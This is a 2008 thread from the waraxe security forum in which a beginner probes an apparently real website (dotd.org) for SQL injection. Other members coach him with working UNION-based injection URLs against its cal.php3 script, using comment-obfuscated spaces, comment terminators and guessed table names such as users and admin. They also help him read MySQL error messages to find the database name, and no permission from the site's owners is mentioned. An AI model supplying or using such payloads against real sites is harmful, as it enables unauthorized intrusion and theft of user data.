Waraxe IT Security Portal
Login or Register
June 17, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 61
Members: 0
Total: 61
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> noob question
Post new topicReply to topic View previous topic :: View next topic
noob question
PostPosted: Thu May 29, 2008 6:49 am Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




I'm attempting to learn sql injection and have read a few tutorial and just trying to cover the basic. I tried to test to see if a website was vulnerable by using
Code:
and 1=0
I end up getting a 406 error;

Quote:
Not Acceptable

An appropriate representation of the requested resource


I have never seen this error does that mean its not vulnerable a little stumped, I have yet to try and go through with any actually injecting?
View user's profile Send private message
PostPosted: Thu May 29, 2008 9:11 am Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Would this be a vBulletin forum you are injecting into?
View user's profile Send private message
PostPosted: Fri May 30, 2008 4:07 am Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




tinman wrote:
Would this be a vBulletin forum you are injecting into?


actually no, but I have found something I think is more interesting. Have I stumbled upon a website that may be vulnerable?

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1: 1064


Anyone have a "SQL injecting for dummies" type guide laying around? All the ones I have found on google are way over my head or extremely outdated. Not really sure where to go after I figure out the number of columns.


Last edited by Chedda on Fri May 30, 2008 6:30 am; edited 1 time in total
View user's profile Send private message
PostPosted: Fri May 30, 2008 6:18 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Yes that error may be useful to find an exploit.

Read on this forum for all the info on sql injection you need to get started. Read recent threads to see methods people use. There is a thread with links to info as well.

Also here is a useful cheat sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

But before you start, you should read up on SQL and learn what it does and learn some basic commands and their syntax.

For example, learn SELECT commands and all the options you can use like FROM, WHERE, HAVING, ORDER BY, GROUP BY, UNION.

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Fri May 30, 2008 6:31 am Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




Thanks I appreciate it.
View user's profile Send private message
PostPosted: Fri May 30, 2008 6:51 am Reply with quote
tinman
Active user
Active user
Joined: May 11, 2008
Posts: 37




Now that is a first class link! Thank you!
View user's profile Send private message
PostPosted: Sat May 31, 2008 5:54 am Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




Alight I have a very basic grasp on a few of the major commands. I know the version, how many columns, root@localhost, and other basically useless information. I'm still a little confused on a couple of errors I am receiving.

The biggest problem is I don't know the name of the database, any suggestions on how I might go about finding it? 4.1.20 is the version.

Anyway outside of that I am wondering about this;

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND msg_year='2008' AND msg_active=1 ORDER BY msg_day' at line 2: 1064

Where is the entire last part of this error coming from? Are msg_year, msg_active, and msg_day table or column names?
View user's profile Send private message
PostPosted: Sat May 31, 2008 12:32 pm Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




ok well that last part is coming from the original query. You should comment that out like:

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin--+

or
Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin/*


Next, in MySQL version 4, you have to guess table names.

try

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/user--+

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/users--+

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/usertable--+

Code:
/cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/USER()--+


msg_year etc will be column names.

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Sat May 31, 2008 5:28 pm Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




ahhh thanks for clarifying. When trying to guess the table name its returning,

Code:
Table 'dotd.username' doesn't exist: 1146


What exactly is the dotd.? Is that the name of the database? root? the website is dotd.org so perhaps its for that? I don't understand that. Also on a side not are table names case sensitive?
View user's profile Send private message
PostPosted: Sat May 31, 2008 5:42 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




perhaps "dotd" is name of database.
View user's profile Send private message
noob question
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.028 Seconds